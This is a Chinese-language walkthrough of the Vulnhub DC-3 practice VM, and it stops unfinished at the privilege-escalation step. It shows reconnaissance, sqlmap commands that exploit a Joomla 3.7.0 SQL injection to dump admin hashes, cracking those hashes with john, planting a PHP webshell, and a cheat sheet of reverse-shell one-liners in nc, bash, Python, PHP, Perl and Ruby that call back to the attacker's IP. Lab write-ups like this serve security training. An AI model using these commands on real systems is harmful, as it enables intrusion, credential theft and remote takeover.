Vulnhub-DC-3渗透学习
一、环境搭建
攻击机:Kali-2021.3:192.168.8.105
靶机:Vulnhub-DC-3:192.168.8.180
二、信息收集
主机探活
1 | nmap -sP 192.168.8.0/24 |
找到目标IP后继续扫描其开放端口
1 | namp -A -p- 192.168.8.180 |
看到它只开放了80端口,同时也扫描到了网站的CMS
或者我们也可以用whatweb来扫描网站信息
1 | whatweb 192.168.8.180:80 |
再或者我们可以先访问IP的80端口,利用Firefox的插件来找出网站的相关信息
在网站首页有与一段文字,翻译一下,意思是只有一个flag,只有获得root权限才能找到
欢迎来到 DC-3。 这一次,只有一个flag,一个入口,没有任何线索。 要获得flag,您显然必须获得 root 权限。 如何成为 root 取决于您 - 显然,取决于系统。 祝你好运 - 我希望你喜欢这个小挑战。 :-)
三、实战
1、漏洞分析
首先我们知道它的CMS是Joomla
,所以我们就使用专门的扫描工具来对其扫描
1 | joomscan --url http://192.168.8.180 |
可以看到它扫出了网站的CMS版本信息以及网站的管理员登录入口
访问一下
现在我们知道了CMS版本信息,那么就来看看这个版本是否有漏洞吧
1 | searchsploit Joomla 3.7.0 |
可以看到找到了一个SQL注入的漏洞,查看一下漏洞信息
1 | searchsploit -x php/webapps/42033.txt |
可以看到里面给出了payload,告诉我们使用sqlmap就可以了
1 | sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] |
发现了五个数据库,很明显第二个数据库是我们的目标
-
查找数据库
joomladb
的所有表1
sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
-
查看表
#__users
的内容1
sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
-
查询字段
username
、password
的内容1
sqlmap -u "http://192.168.8.180/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "username,password" --dump -p list[fullordering]
成功找到管理员账户密码
但这个密码是经过了hash
加密,因此我们使用john爆破一下,把密码保存到文件里
1 | echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > 1.txt |
因为我之前已经爆破过了,第二次爆破john
不会显示出结果,要想显示出结果,就使用
1 | john -show 1.txt |
成功得到账号/密码
admin
snoopy
2、登录后台
然后就是寻找寻找有没有文件上传点、文件包含点之类的来拿到webshell
寻找一段时间后发现在Extensions-Templates-Templates
里可以新建并上传文件
新建一个php文件,然后写入一句话木马
保存上传后,接下来就是找到这个文件的路径
根据这句话大概能猜到这个文件所在的路径,也可以网上找找资料
1 | http://192.168.8.180/templates/beez3/html/shell.php |
3、getshell并反弹shell
蚁剑连接
成功得到shell,然后开始反弹shell,反弹shell可以方便我们后面的提权
kali开启监听
1 | nc -lvp 2222 |
接下来就是反弹shell了
总结一下常见的反弹shell的方法:
-
利用netcat反弹shell
1
nc 192.168.8.105 2222 -e /bin/bash
如果
nc
无法使用-e
参数时使用1
2rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.105 2222>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.8.105 2222>/tmp/f -
利用Bash反弹shell
1
2bash -i >& /dev/tcp/192.168.8.105/2222 0>&1
bash -c "bash -i >& /dev/tcp/192.168.8.105/2222 0>&1" -
各种脚本反弹shell
-
Python
脚本反弹shell(当目标主机上有Python环境)1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.105",2222 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
php
脚本反弹shell(当目标主机上有php环境)1
php -r '$sock=fsockopen("192.168.8.105",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
-
Perl
脚本反弹shell(当目标主机上有Perl环境)1
perl -e 'use Socket;$i="192.168.8.105";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-
Ruby
脚本反弹shell(当目标主机上有Ruby环境)1
ruby -rsocket -e 'c=TCPSocket.new("192.168.8.105","2222");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
-
因此这里我们尝试使用nc
进行反弹
但是发现目标主机上的nc
无法使用-e
参数
因此这个方法行不通,那就使用这个来进行反弹
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.105 2222>/tmp/f |
成功反弹
4、提权
先来尝试一下能不能SUID提权以及有没有可以使用的免密的root权限的文件
发现并不存在我们可以很好利用的文件
那就收集一下目标主机的一些信息吧
-
查看操作系统的版本信息
1
cat /proc/version
-
查看操作系统的发行版本信息
1
cat /etc/issue
得到对应的版本信息
Linux 4.4.0-21
Ubuntu 16.04(32-bit)
那么就去寻找看看它是否有漏洞
1 | searchsploit ubuntu 16.04 |
可以看到有很多的漏洞,我们该如何选择呢
通过上面得到的Linux的版本信息和Ubuntu是32位的我们可以排除掉一些,最后只剩下几个
然后因为C语言的脚本用起来比较复杂,所以我们优先看看39772.txt这个文件
1 | searchsploit -x linux/local/39772.txt |
里面告诉我们要去Github下载它的压缩包
然后我们要找到目标主机上可以上传文件的地方,然后用wget
进行下载即可,比如tmp目录,这是一个用来存储临时文件的地方,所以我们有权限往里面上传文件
…
出了点小问题,待续
参考文章
dc-3 靶机渗透学习_ZredamanJ的博客-CSDN博客_dc3靶机